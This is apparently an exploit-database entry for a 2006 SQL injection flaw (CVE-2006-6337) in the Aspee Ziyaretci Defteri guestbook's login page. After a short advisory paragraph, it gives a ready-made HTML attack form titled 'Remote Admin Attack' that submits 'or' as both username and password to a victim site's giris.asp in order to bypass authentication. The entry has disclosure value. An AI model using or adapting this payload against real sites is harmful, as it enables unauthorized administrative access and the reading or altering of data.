Aspee Ziyaretci Defteri - 'giris.asp' Multiple Field SQL Injections

Author: ShaFuq31
type: webapps
platform: asp
port: 
date_added: 2006-12-01 
date_updated: 2013-10-27 
verified: 1 
codes: CVE-2006-6337;OSVDB-31514 
tags: 
aliases:  
screenshot_url:  
application_url:

source: https://www.securityfocus.com/bid/21398/info

Aspee ZiyaretÃ§i Defteri is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

<title>Remote Admin Attack - LiderHack.Org // Hacking & Security PortaL</title> <center>ShaFuck31 - LiderHack.Org</center> <FORM NAME=giris ACTION="http://victim.com/[path to script]/giris.asp" METHOD=post> <table align=center> <td>Kullanici Adi:</td><td><INPUT NAME=kullanici class="input" value="'or'" SIZE=15></td> </tr><tr> <td>Sifre:</td><td><INPUT NAME=parola TYPE=text class="input" value="'or'" SIZE=15></td> </tr><tr> <td align=center colspan=2><BUTTON class="input" TYPE=submit>Giris</BUTTON></td> </tr></table></form>